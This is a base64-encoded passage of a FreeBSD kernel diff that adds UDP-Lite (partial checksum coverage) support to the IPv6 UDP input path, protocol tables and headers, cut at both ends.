MjIsNCArMTc5OCw1IEBAIHN0cnVjdCBwcl91c3JyZXFzIHVkcF91c3JyZXFzID0gewogCS5wcnVf c29zZXRsYWJlbCA9CWluX3BjYnNvc2V0bGFiZWwsCiAJLnBydV9jbG9zZSA9CQl1ZHBfY2xvc2Us CiB9OworCiAjZW5kaWYgLyogSU5FVCAqLwpJbmRleDogc3lzL25ldGluZXQvdWRwX3Zhci5oCj09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0KLS0tIHN5cy9uZXRpbmV0L3VkcF92YXIuaAkocmV2aXNpb24gMjQ4NDU4KQorKysg c3lzL25ldGluZXQvdWRwX3Zhci5oCSh3b3JraW5nIGNvcHkpCkBAIC02MiwxMCArNjIsMTIgQEAg dHlwZWRlZiB2b2lkKCp1ZHBfdHVuX2Z1bmNfdCkoc3RydWN0IG1idWYgKiwgaW50IG8KIHN0cnVj dCB1ZHBjYiB7CiAJdWRwX3R1bl9mdW5jX3QJdV90dW5fZnVuYzsJLyogVURQIGtlcm5lbCB0dW5u ZWxpbmcgY2FsbGJhY2suICovCiAJdV9pbnQJCXVfZmxhZ3M7CS8qIEdlbmVyaWMgVURQIGZsYWdz LiAqLworCXVpbnQxNl90CXVfcnhjc2xlbjsJLyogQ292ZXJhZ2UgZm9yIGluY29taW5nIGRhdGFn cmFtcy4gKi8KKwl1aW50MTZfdAl1X3R4Y3NsZW47CS8qIENvdmVyYWdlIGZvciBvdXRnb2luZyBk YXRhZ3JhbXMuICovCiB9OwogCi0jZGVmaW5lCWludG91ZHBjYihpcCkJKChzdHJ1Y3QgdWRwY2Ig KikoaXApLT5pbnBfcHBjYikKLSNkZWZpbmUJc290b3VkcGNiKHNvKQkoaW50b3VkcGNiKHNvdG9p bnBjYihzbykpKQorI2RlZmluZQlpbnRvdWRwY2IoaXApCQkoKHN0cnVjdCB1ZHBjYiAqKShpcCkt PmlucF9wcGNiKQorI2RlZmluZQlzb3RvdWRwY2Ioc28pCQkoaW50b3VkcGNiKHNvdG9pbnBjYihz bykpKQogCiAJCQkJLyogSVBzZWM6IEVTUCBpbiBVRFAgdHVubmVsaW5nOiAqLwogI2RlZmluZQlV Rl9FU1BJTlVEUF9OT05fSUtFCTB4MDAwMDAwMDEJLyogdy8gbm9uLUlLRSBtYXJrZXIgLi4gKi8K QEAgLTEzNCw4ICsxMzYsMTIgQEAgU1lTQ1RMX0RFQ0woX25ldF9pbmV0X3VkcCk7CiBleHRlcm4g c3RydWN0IHByX3VzcnJlcXMJdWRwX3VzcnJlcXM7CiBWTkVUX0RFQ0xBUkUoc3RydWN0IGlucGNi aGVhZCwgdWRiKTsKIFZORVRfREVDTEFSRShzdHJ1Y3QgaW5wY2JpbmZvLCB1ZGJpbmZvKTsKK1ZO RVRfREVDTEFSRShzdHJ1Y3QgaW5wY2JoZWFkLCB1bGl0ZWNiKTsKK1ZORVRfREVDTEFSRShzdHJ1 Y3QgaW5wY2JpbmZvLCB1bGl0ZWNiaW5mbyk7CiAjZGVmaW5lCVZfdWRiCQkJVk5FVCh1ZGIpCiAj ZGVmaW5lCVZfdWRiaW5mbwkJVk5FVCh1ZGJpbmZvKQorI2RlZmluZQlWX3VsaXRlY2IJCVZORVQo dWxpdGVjYikKKyNkZWZpbmUJVl91bGl0ZWNiaW5mbwkJVk5FVCh1bGl0ZWNiaW5mbykKIAogZXh0 ZXJuIHVfbG9uZwkJCXVkcF9zZW5kc3BhY2U7CiBleHRlcm4gdV9sb25nCQkJdWRwX3JlY3ZzcGFj ZTsKQEAgLTE0NywxNiArMTUzLDIwIEBAIFZORVRfREVDTEFSRShpbnQsIHVkcF9ibGFja2hvbGUp OwogI2RlZmluZQlWX3VkcF9ibGFja2hvbGUJCVZORVQodWRwX2JsYWNraG9sZSkKIGV4dGVybiBp bnQJCQl1ZHBfbG9nX2luX3ZhaW47CiAKLWludAkJIHVkcF9uZXd1ZHBjYihzdHJ1Y3QgaW5wY2Ig Kik7Ci12b2lkCQkgdWRwX2Rpc2NhcmRjYihzdHJ1Y3QgdWRwY2IgKik7CitpbnQJCXVkcF9uZXd1 ZHBjYihzdHJ1Y3QgaW5wY2IgKik7Cit2b2lkCQl1ZHBfZGlzY2FyZGNiKHN0cnVjdCB1ZHBjYiAq LCBpbnQpOwogCi12b2lkCQkgdWRwX2N0bGlucHV0KGludCwgc3RydWN0IHNvY2thZGRyICosIHZv aWQgKik7Ci1pbnQJCSB1ZHBfY3Rsb3V0cHV0KHN0cnVjdCBzb2NrZXQgKiwgc3RydWN0IHNvY2tv cHQgKik7Ci12b2lkCQkgdWRwX2luaXQodm9pZCk7Cit2b2lkCQl1ZHBfY3RsaW5wdXQoaW50LCBz dHJ1Y3Qgc29ja2FkZHIgKiwgdm9pZCAqKTsKK3ZvaWQJCXVkcGxpdGVfY3RsaW5wdXQoaW50LCBz dHJ1Y3Qgc29ja2FkZHIgKiwgdm9pZCAqKTsKK2ludAkJdWRwX2N0bG91dHB1dChzdHJ1Y3Qgc29j a2V0ICosIHN0cnVjdCBzb2Nrb3B0ICopOwordm9pZAkJdWRwX2luaXQodm9pZCk7Cit2b2lkCQl1 ZHBsaXRlX2luaXQodm9pZCk7CiAjaWZkZWYgVklNQUdFCi12b2lkCQkgdWRwX2Rlc3Ryb3kodm9p ZCk7Cit2b2lkCQl1ZHBfZGVzdHJveSh2b2lkKTsKK3ZvaWQJCXVkcGxpdGVfZGVzdHJveSh2b2lk KTsKICNlbmRpZgotdm9pZAkJIHVkcF9pbnB1dChzdHJ1Y3QgbWJ1ZiAqLCBpbnQpOwordm9pZAkJ dWRwX2lucHV0KHN0cnVjdCBtYnVmICosIGludCk7Cit2b2lkCQl1ZHBsaXRlX2lucHV0KHN0cnVj dCBtYnVmICosIGludCk7CiBzdHJ1Y3QgaW5wY2IJKnVkcF9ub3RpZnkoc3RydWN0IGlucGNiICpp bnAsIGludCBlcnJubyk7CiBpbnQJCSB1ZHBfc2h1dGRvd24oc3RydWN0IHNvY2tldCAqc28pOwog CkluZGV4OiBzeXMvbmV0aW5ldC91ZHBsaXRlLmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc3lzL25ldGluZXQv dWRwbGl0ZS5oCShyZXZpc2lvbiAwKQorKysgc3lzL25ldGluZXQvdWRwbGl0ZS5oCSh3b3JraW5n IGNvcHkpCkBAIC0wLDAgKzEsMzggQEAKKy8qLQorICogQ29weXJpZ2h0IChjKSAyMDEzLCBLZXZp biBMbworICogQWxsIHJpZ2h0cyByZXNlcnZlZC4KKyAqCisgKiBSZWRpc3RyaWJ1dGlvbiBhbmQg dXNlIGluIHNvdXJjZSBhbmQgYmluYXJ5IGZvcm1zLCB3aXRoIG9yIHdpdGhvdXQKKyAqIG1vZGlm aWNhdGlvbiwgYXJlIHBlcm1pdHRlZCBwcm92aWRlZCB0aGF0IHRoZSBmb2xsb3dpbmcgY29uZGl0 aW9ucworICogYXJlIG1ldDoKKyAqIDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBt dXN0IHJldGFpbiB0aGUgYWJvdmUgY29weXJpZ2h0CisgKiAgICBub3RpY2UsIHRoaXMgbGlzdCBv ZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIuCisgKiAyLiBSZWRpc3Ry aWJ1dGlvbnMgaW4gYmluYXJ5IGZvcm0gbXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdo dAorICogICAgbm90aWNlLCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2lu ZyBkaXNjbGFpbWVyIGluIHRoZQorICogICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3RoZXIgbWF0 ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4KKyAqCisgKiBUSElTIFNPRlRX QVJFIElTIFBST1ZJREVEIEJZIFRIRSBSRUdFTlRTIEFORCBDT05UUklCVVRPUlMgYGBBUyBJUycn IEFORAorICogQU5ZIEVYUFJFU1MgT1IgSU1QTElFRCBXQVJSQU5USUVTLCBJTkNMVURJTkcsIEJV VCBOT1QgTElNSVRFRCBUTywgVEhFCisgKiBJTVBMSUVEIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRB QklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRQorICogQVJFIERJU0NM QUlNRUQuICBJTiBOTyBFVkVOVCBTSEFMTCBUSEUgUkVHRU5UUyBPUiBDT05UUklCVVRPUlMgQkUg TElBQkxFCisgKiBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUwsIFNQRUNJQUws IEVYRU1QTEFSWSwgT1IgQ09OU0VRVUVOVElBTAorICogREFNQUdFUyAoSU5DTFVESU5HLCBCVVQg Tk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNUSVRVVEUgR09PRFMKKyAqIE9SIFNF UlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwgT1IgUFJPRklUUzsgT1IgQlVTSU5FU1MgSU5URVJS VVBUSU9OKQorICogSE9XRVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElBQklMSVRZ LCBXSEVUSEVSIElOIENPTlRSQUNULCBTVFJJQ1QKKyAqIExJQUJJTElUWSwgT1IgVE9SVCAoSU5D TFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkKKyAqIE9V VCBPRiBUSEUgVVNFIE9GIFRISVMgU09GVFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBUSEUgUE9T U0lCSUxJVFkgT0YKKyAqIFNVQ0ggREFNQUdFLgorICoKKyAqICRGcmVlQlNEJAorICovCisKKyNp Zm5kZWYgX05FVElORVRfVURQTElURV9IXworI2RlZmluZQlfTkVUSU5FVF9VRFBMSVRFX0hfCisK Ky8qIAorICogVXNlci1zZXR0YWJsZSBvcHRpb25zICh1c2VkIHdpdGggc2V0c29ja29wdCkuCisg Ki8KKyNkZWZpbmUJVURQTElURV9TRU5EX0NTQ09WCTIJLyogU2VuZGVyIGNoZWNrc3VtIGNvdmVy YWdlLiAqLworI2RlZmluZQlVRFBMSVRFX1JFQ1ZfQ1NDT1YJNAkvKiBSZWNlaXZlciBjaGVja3N1 bSBjb3ZlcmFnZS4gKi8KKworI2VuZGlmCS8qICFfTkVUSU5FVF9VRFBMSVRFX0hfICovCkluZGV4 OiBzeXMvbmV0aW5ldDYvaW42X2lmYXR0YWNoLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc3lzL25ldGluZXQ2 L2luNl9pZmF0dGFjaC5jCShyZXZpc2lvbiAyNDg0NTgpCisrKyBzeXMvbmV0aW5ldDYvaW42X2lm YXR0YWNoLmMJKHdvcmtpbmcgY29weSkKQEAgLTgzNyw2ICs4MzcsNyBAQCBpbjZfaWZkZXRhY2go c3RydWN0IGlmbmV0ICppZnApCiAJfQogCiAJaW42X3BjYnB1cmdlaWYwKCZWX3VkYmluZm8sIGlm cCk7CisJaW42X3BjYnB1cmdlaWYwKCZWX3VsaXRlY2JpbmZvLCBpZnApOwogCWluNl9wY2JwdXJn ZWlmMCgmVl9yaXBjYmluZm8sIGlmcCk7CiAJLyogbGVhdmUgZnJvbSBhbGwgbXVsdGljYXN0IGdy b3VwcyBqb2luZWQgKi8KIAlpbjZfcHVyZ2VtYWRkcnMoaWZwKTsKSW5kZXg6IHN5cy9uZXRpbmV0 Ni9pbjZfcHJvdG8uYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvbmV0aW5ldDYvaW42X3Byb3RvLmMJKHJl dmlzaW9uIDI0ODQ1OCkKKysrIHN5cy9uZXRpbmV0Ni9pbjZfcHJvdG8uYwkod29ya2luZyBjb3B5 KQpAQCAtMjE4LDYgKzIxOCwxOSBAQCBzdHJ1Y3QgaXA2cHJvdG9zdyBpbmV0NnN3W10gPSB7CiB9 LAogI2VuZGlmIC8qIFNDVFAgKi8KIHsKKwkucHJfdHlwZSA9CQlTT0NLX0RHUkFNLAorCS5wcl9k b21haW4gPQkJJmluZXQ2ZG9tYWluLAorCS5wcl9wcm90b2NvbCA9CQlJUFBST1RPX1VEUExJVEUs CisJLnByX2ZsYWdzID0JCVBSX0FUT01JQ3xQUl9BRERSLAorCS5wcl9pbnB1dCA9CQl1ZHA2X2lu cHV0LAorCS5wcl9jdGxpbnB1dCA9CQl1ZHBsaXRlNl9jdGxpbnB1dCwKKwkucHJfY3Rsb3V0cHV0 ID0JCXVkcF9jdGxvdXRwdXQsCisjaWZuZGVmIElORVQJLyogRG8gbm90IGNhbGwgaW5pdGlhbGl6 YXRpb24gdHdpY2UuICovCisJLnByX2luaXQgPQkJdWRwbGl0ZV9pbml0LAorI2VuZGlmCisJLnBy X3VzcnJlcXMgPQkJJnVkcDZfdXNycmVxcywKK30sCit7CiAJLnByX3R5cGUgPQkJU09DS19SQVcs CiAJLnByX2RvbWFpbiA9CQkmaW5ldDZkb21haW4sCiAJLnByX3Byb3RvY29sID0JCUlQUFJPVE9f UkFXLApAQCAtNDY4LDYgKzQ4MSw3IEBAIFNZU0NUTF9OT0RFKF9uZXRfaW5ldDYsCUlQUFJPVE9f VENQLAl0Y3A2LAlDVExGTEFHCiAjaWZkZWYgU0NUUAogU1lTQ1RMX05PREUoX25ldF9pbmV0NiwJ SVBQUk9UT19TQ1RQLAlzY3RwNiwJQ1RMRkxBR19SVywgMCwJIlNDVFA2Iik7CiAjZW5kaWYKK1NZ U0NUTF9OT0RFKF9uZXRfaW5ldDYsCUlQUFJPVE9fVURQTElURSx1ZHBsaXRlNixDVExGTEFHX1JX LCAwLAkiVURQTElURTYiKTsKICNpZmRlZiBJUFNFQwogU1lTQ1RMX05PREUoX25ldF9pbmV0NiwJ SVBQUk9UT19FU1AsCWlwc2VjNiwJQ1RMRkxBR19SVywgMCwJIklQU0VDNiIpOwogI2VuZGlmIC8q IElQU0VDICovCkluZGV4OiBzeXMvbmV0aW5ldDYvdWRwNl91c3JyZXEuYwo9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0t LSBzeXMvbmV0aW5ldDYvdWRwNl91c3JyZXEuYwkocmV2aXNpb24gMjQ4NDU4KQorKysgc3lzL25l dGluZXQ2L3VkcDZfdXNycmVxLmMJKHdvcmtpbmcgY29weSkKQEAgLTEwNiw2ICsxMDYsNyBAQCBf X0ZCU0RJRCgiJEZyZWVCU0QkIik7CiAjaW5jbHVkZSA8bmV0aW5ldC9pcF92YXIuaD4KICNpbmNs dWRlIDxuZXRpbmV0L3VkcC5oPgogI2luY2x1ZGUgPG5ldGluZXQvdWRwX3Zhci5oPgorI2luY2x1 ZGUgPG5ldGluZXQvdWRwbGl0ZS5oPgogCiAjaW5jbHVkZSA8bmV0aW5ldDYvaXA2cHJvdG9zdy5o PgogI2luY2x1ZGUgPG5ldGluZXQ2L2lwNl92YXIuaD4KQEAgLTE3OCwxMSArMTc5LDE0IEBAIHVk cDZfaW5wdXQoc3RydWN0IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJc3RydWN0 IGlwNl9oZHIgKmlwNjsKIAlzdHJ1Y3QgdWRwaGRyICp1aDsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsK LQlzdHJ1Y3QgdWRwY2IgKnVwOworCXN0cnVjdCBpbnBjYmluZm8gKnBjYmluZm87CisJc3RydWN0 IHVkcGNiICp1cCA9IE5VTEw7CiAJaW50IG9mZiA9ICpvZmZwOworCWludCBjc2Nvdl9wYXJ0aWFs OwogCWludCBwbGVuLCB1bGVuOwogCXN0cnVjdCBzb2NrYWRkcl9pbjYgZnJvbXNhOwogCXN0cnVj dCBtX3RhZyAqZndkX3RhZzsKKwl1aW50OF90IG54dDsKIAl1aW50MTZfdCB1aF9zdW07CiAKIAlp ZnAgPSBtLT5tX3BrdGhkci5yY3ZpZjsKQEAgLTIxNSw5ICsyMTksMTkgQEAgdWRwNl9pbnB1dChz dHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykKIAlwbGVuID0gbnRvaHMoaXA2 LT5pcDZfcGxlbikgLSBvZmYgKyBzaXplb2YoKmlwNik7CiAJdWxlbiA9IG50b2hzKCh1X3Nob3J0 KXVoLT51aF91bGVuKTsKIAorCW54dCA9IGlwNi0+aXA2X254dDsKKwljc2Nvdl9wYXJ0aWFsID0g KG54dCA9PSBJUFBST1RPX1VEUExJVEUpID8gMSA6IDA7CisJaWYgKG54dCA9PSBJUFBST1RPX1VE UExJVEUgJiYgdWxlbiA9PSAwKSB7CisJCS8qIFplcm8gbWVhbnMgY2hlY2tzdW0gb3ZlciB0aGUg Y29tcGxldGUgcGFja2V0LiAqLworCQl1bGVuID0gcGxlbjsKKwkJY3Njb3ZfcGFydGlhbCA9IDA7 CisJfQorCiAJaWYgKHBsZW4gIT0gdWxlbikgewotCQlVRFBTVEFUX0lOQyh1ZHBzX2JhZGxlbik7 Ci0JCWdvdG8gYmFkdW5sb2NrZWQ7CisJCWlmICh1bGVuID4gcGxlbiB8fCB1bGVuIDwgc2l6ZW9m KHN0cnVjdCB1ZHBoZHIpKSB7CisJCQlVRFBTVEFUX0lOQyh1ZHBzX2JhZGxlbik7CisJCQlnb3Rv IGJhZHVubG9ja2VkOworCQl9CiAJfQogCiAJLyoKQEAgLTIyOCwxNSArMjQyLDE2IEBAIHVkcDZf aW5wdXQoc3RydWN0IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJCWdvdG8gYmFk dW5sb2NrZWQ7CiAJfQogCi0JaWYgKG0tPm1fcGt0aGRyLmNzdW1fZmxhZ3MgJiBDU1VNX0RBVEFf VkFMSURfSVBWNikgeworCWlmICgobS0+bV9wa3RoZHIuY3N1bV9mbGFncyAmIENTVU1fREFUQV9W QUxJRF9JUFY2KSAmJgorCSAgICAhY3Njb3ZfcGFydGlhbCkgewogCQlpZiAobS0+bV9wa3RoZHIu Y3N1bV9mbGFncyAmIENTVU1fUFNFVURPX0hEUikKIAkJCXVoX3N1bSA9IG0tPm1fcGt0aGRyLmNz dW1fZGF0YTsKIAkJZWxzZQotCQkJdWhfc3VtID0gaW42X2Nrc3VtX3BzZXVkbyhpcDYsIHVsZW4s Ci0JCQkgICAgSVBQUk9UT19VRFAsIG0tPm1fcGt0aGRyLmNzdW1fZGF0YSk7CisJCQl1aF9zdW0g PSBpbjZfY2tzdW1fcHNldWRvKGlwNiwgdWxlbiwgbnh0LAorCQkJICAgIG0tPm1fcGt0aGRyLmNz dW1fZGF0YSk7CiAJCXVoX3N1bSBePSAweGZmZmY7CiAJfSBlbHNlCi0JCXVoX3N1bSA9IGluNl9j a3N1bShtLCBJUFBST1RPX1VEUCwgb2ZmLCB1bGVuKTsKKwkJdWhfc3VtID0gaW42X2Nrc3VtKG0s IG54dCwgb2ZmLCB1bGVuKTsKIAogCWlmICh1aF9zdW0gIT0gMCkgewogCQlVRFBTVEFUX0lOQyh1 ZHBzX2JhZHN1bSk7CkBAIC0yNDksMTEgKzI2NCwxMyBAQCB1ZHA2X2lucHV0KHN0cnVjdCBtYnVm ICoqbXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCWluaXRfc2luNigmZnJvbXNhLCBtKTsKIAlm cm9tc2Euc2luNl9wb3J0ID0gdWgtPnVoX3Nwb3J0OwogCisJcGNiaW5mbyA9IChueHQgPT0gSVBQ Uk9UT19VRFApID8gJlZfdWRiaW5mbyA6ICZWX3VsaXRlY2JpbmZvOwogCWlmIChJTjZfSVNfQURE Ul9NVUxUSUNBU1QoJmlwNi0+aXA2X2RzdCkpIHsKIAkJc3RydWN0IGlucGNiICpsYXN0OworCQlz dHJ1Y3QgaW5wY2JoZWFkICpwY2JsaXN0OwogCQlzdHJ1Y3QgaXA2X21vcHRpb25zICppbW87CiAK LQkJSU5QX0lORk9fUkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9JTkZPX1JMT0NLKHBjYmluZm8p OwogCQkvKgogCQkgKiBJbiB0aGUgZXZlbnQgdGhhdCBsYWRkciBzaG91bGQgYmUgc2V0IHRvIHRo ZSBsaW5rLWxvY2FsCiAJCSAqIGFkZHJlc3MgKHRoaXMgaGFwcGVucyBpbiBSSVBuZyksIHRoZSBt dWx0aWNhc3QgYWRkcmVzcwpAQCAtMjY5LDggKzI4Niw5IEBAIHVkcDZfaW5wdXQoc3RydWN0IG1i dWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJCSAqIGhlcmUuICBXZSBuZWVkIHVkcGhk ciBmb3IgSVBzZWMgcHJvY2Vzc2luZyBzbyB3ZSBkbyB0aGF0CiAJCSAqIGxhdGVyLgogCQkgKi8K KwkJcGNibGlzdCA9IChueHQgPT0gSVBQUk9UT19VRFApID8gJlZfdWRiIDogJlZfdWxpdGVjYjsK IAkJbGFzdCA9IE5VTEw7Ci0JCUxJU1RfRk9SRUFDSChpbnAsICZWX3VkYiwgaW5wX2xpc3QpIHsK KwkJTElTVF9GT1JFQUNIKGlucCwgcGNibGlzdCwgaW5wX2xpc3QpIHsKIAkJCWlmICgoaW5wLT5p bnBfdmZsYWcgJiBJTlBfSVBWNikgPT0gMCkKIAkJCQljb250aW51ZTsKIAkJCWlmIChpbnAtPmlu cF9scG9ydCAhPSB1aC0+dWhfZHBvcnQpCkBAIC0zNzUsNyArMzkzLDcgQEAgdWRwNl9pbnB1dChz dHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykKIAkJCWdvdG8gYmFkaGVhZGxv Y2tlZDsKIAkJfQogCQlJTlBfUkxPQ0sobGFzdCk7Ci0JCUlOUF9JTkZPX1JVTkxPQ0soJlZfdWRi aW5mbyk7CisJCUlOUF9JTkZPX1JVTkxPQ0socGNiaW5mbyk7CiAJCXVwID0gaW50b3VkcGNiKGxh c3QpOwogCQlpZiAodXAtPnVfdHVuX2Z1bmMgPT0gTlVMTCkgewogCQkJdWRwNl9hcHBlbmQobGFz dCwgbSwgb2ZmLCAmZnJvbXNhKTsKQEAgLTQwNSw4ICs0MjMsOCBAQCB1ZHA2X2lucHV0KHN0cnVj dCBtYnVmICoqbXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCQkgKiBUcmFuc3BhcmVudGx5IGZv cndhcmRlZC4gUHJldGVuZCB0byBiZSB0aGUgZGVzdGluYXRpb24uCiAJCSAqIEFscmVhZHkgZ290 IG9uZSBsaWtlIHRoaXM/CiAJCSAqLwotCQlpbnAgPSBpbjZfcGNibG9va3VwX21idWYoJlZfdWRi aW5mbywKLQkJICAgICZpcDYtPmlwNl9zcmMsIHVoLT51aF9zcG9ydCwgJmlwNi0+aXA2X2RzdCwg dWgtPnVoX2Rwb3J0LAorCQlpbnAgPSBpbjZfcGNibG9va3VwX21idWYocGNiaW5mbywgJmlwNi0+ aXA2X3NyYywKKwkJICAgIHVoLT51aF9zcG9ydCwgJmlwNi0+aXA2X2RzdCwgdWgtPnVoX2Rwb3J0 LAogCQkgICAgSU5QTE9PS1VQX1JMT0NLUENCLCBtLT5tX3BrdGhkci5yY3ZpZiwgbSk7CiAJCWlm ICghaW5wKSB7CiAJCQkvKgpAQCAtNDE0LDcgKzQzMiw3IEBAIHVkcDZfaW5wdXQoc3RydWN0IG1i dWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJCQkgKiBCZWNhdXNlIHdlJ3ZlIHJld3Jp dHRlbiB0aGUgZGVzdGluYXRpb24gYWRkcmVzcywKIAkJCSAqIGFueSBoYXJkd2FyZS1nZW5lcmF0 ZWQgaGFzaCBpcyBpZ25vcmVkLgogCQkJICovCi0JCQlpbnAgPSBpbjZfcGNibG9va3VwKCZWX3Vk YmluZm8sICZpcDYtPmlwNl9zcmMsCisJCQlpbnAgPSBpbjZfcGNibG9va3VwKHBjYmluZm8sICZp cDYtPmlwNl9zcmMsCiAJCQkgICAgdWgtPnVoX3Nwb3J0LCAmbmV4dF9ob3A2LT5zaW42X2FkZHIs CiAJCQkgICAgbmV4dF9ob3A2LT5zaW42X3BvcnQgPyBodG9ucyhuZXh0X2hvcDYtPnNpbjZfcG9y dCkgOgogCQkJICAgIHVoLT51aF9kcG9ydCwgSU5QTE9PS1VQX1dJTERDQVJEIHwKQEAgLTQyNCw3 ICs0NDIsNyBAQCB1ZHA2X2lucHV0KHN0cnVjdCBtYnVmICoqbXAsIGludCAqb2ZmcCwgaW50IHBy b3RvKQogCQltX3RhZ19kZWxldGUobSwgZndkX3RhZyk7CiAJCW0tPm1fZmxhZ3MgJj0gfk1fSVA2 X05FWFRIT1A7CiAJfSBlbHNlCi0JCWlucCA9IGluNl9wY2Jsb29rdXBfbWJ1ZigmVl91ZGJpbmZv LCAmaXA2LT5pcDZfc3JjLAorCQlpbnAgPSBpbjZfcGNibG9va3VwX21idWYocGNiaW5mbywgJmlw Ni0+aXA2X3NyYywKIAkJICAgIHVoLT51aF9zcG9ydCwgJmlwNi0+aXA2X2RzdCwgdWgtPnVoX2Rw b3J0LAogCQkgICAgSU5QTE9PS1VQX1dJTERDQVJEIHwgSU5QTE9PS1VQX1JMT0NLUENCLAogCQkg ICAgbS0+bV9wa3RoZHIucmN2aWYsIG0pOwpAQCAtNDU0LDcgKzQ3MiwxNCBAQCB1ZHA2X2lucHV0 KHN0cnVjdCBtYnVmICoqbXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCQlyZXR1cm4gKElQUFJP VE9fRE9ORSk7CiAJfQogCUlOUF9STE9DS19BU1NFUlQoaW5wKTsKLQl1cCA9IGludG91ZHBjYihp bnApOworCWlmIChjc2Nvdl9wYXJ0aWFsKSB7CisJCXVwID0gaW50b3VkcGNiKGlucCk7CisJCWlm ICh1cC0+dV9yeGNzbGVuID4gdWxlbikgeworCQkJSU5QX1JVTkxPQ0soaW5wKTsKKwkJCW1fZnJl ZW0obSk7CisJCQlyZXR1cm4gKElQUFJPVE9fRE9ORSk7CisJCX0KKwl9CiAJaWYgKHVwLT51X3R1 bl9mdW5jID09IE5VTEwpIHsKIAkJdWRwNl9hcHBlbmQoaW5wLCBtLCBvZmYsICZmcm9tc2EpOwog CX0gZWxzZSB7CkBAIC00NjgsMTUgKzQ5MywxNiBAQCB1ZHA2X2lucHV0KHN0cnVjdCBtYnVmICoq bXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCXJldHVybiAoSVBQUk9UT19ET05FKTsKIAogYmFk aGVhZGxvY2tlZDoKLQlJTlBfSU5GT19SVU5MT0NLKCZWX3VkYmluZm8pOworCUlOUF9JTkZPX1JV TkxPQ0socGNiaW5mbyk7CiBiYWR1bmxvY2tlZDoKIAlpZiAobSkKIAkJbV9mcmVlbShtKTsKIAly ZXR1cm4gKElQUFJPVE9fRE9ORSk7CiB9CiAKLXZvaWQKLXVkcDZfY3RsaW5wdXQoaW50IGNtZCwg c3RydWN0IHNvY2thZGRyICpzYSwgdm9pZCAqZCkKK3N0YXRpYyB2b2lkCit1ZHA2X2NvbW1vbl9j dGxpbnB1dChpbnQgY21kLCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICpkLAorICAgIHN0cnVj dCBpbnBjYmluZm8gKnBjYmluZm8pCiB7CiAJc3RydWN0IHVkcGhkciB1aDsKIAlzdHJ1Y3QgaXA2 X2hkciAqaXA2OwpAQCAtNTMyLDE0ICs1NTgsMjYgQEAgYmFkdW5sb2NrZWQ6CiAJCWJ6ZXJvKCZ1 aCwgc2l6ZW9mKHVoKSk7CiAJCW1fY29weWRhdGEobSwgb2ZmLCBzaXplb2YoKnVocCksIChjYWRk cl90KSZ1aCk7CiAKLQkJKHZvaWQpIGluNl9wY2Jub3RpZnkoJlZfdWRiaW5mbywgc2EsIHVoLnVo X2Rwb3J0LAorCQkodm9pZCkgaW42X3BjYm5vdGlmeShwY2JpbmZvLCBzYSwgdWgudWhfZHBvcnQs CiAJCSAgICAoc3RydWN0IHNvY2thZGRyICopaXA2Y3AtPmlwNmNfc3JjLCB1aC51aF9zcG9ydCwg Y21kLAogCQkgICAgY21kYXJnLCBub3RpZnkpOwogCX0gZWxzZQotCQkodm9pZCkgaW42X3BjYm5v dGlmeSgmVl91ZGJpbmZvLCBzYSwgMCwKKwkJKHZvaWQpIGluNl9wY2Jub3RpZnkocGNiaW5mbywg c2EsIDAsCiAJCSAgICAoY29uc3Qgc3RydWN0IHNvY2thZGRyICopc2E2X3NyYywgMCwgY21kLCBj bWRhcmcsIG5vdGlmeSk7CiB9CiAKK3ZvaWQKK3VkcDZfY3RsaW5wdXQoaW50IGNtZCwgc3RydWN0 IHNvY2thZGRyICpzYSwgdm9pZCAqZCkKK3sKKwlyZXR1cm4gKHVkcDZfY29tbW9uX2N0bGlucHV0 KGNtZCwgc2EsIGQsICZWX3VkYmluZm8pKTsKK30KKwordm9pZAordWRwbGl0ZTZfY3RsaW5wdXQo aW50IGNtZCwgc3RydWN0IHNvY2thZGRyICpzYSwgdm9pZCAqZCkKK3sKKwlyZXR1cm4gKHVkcDZf 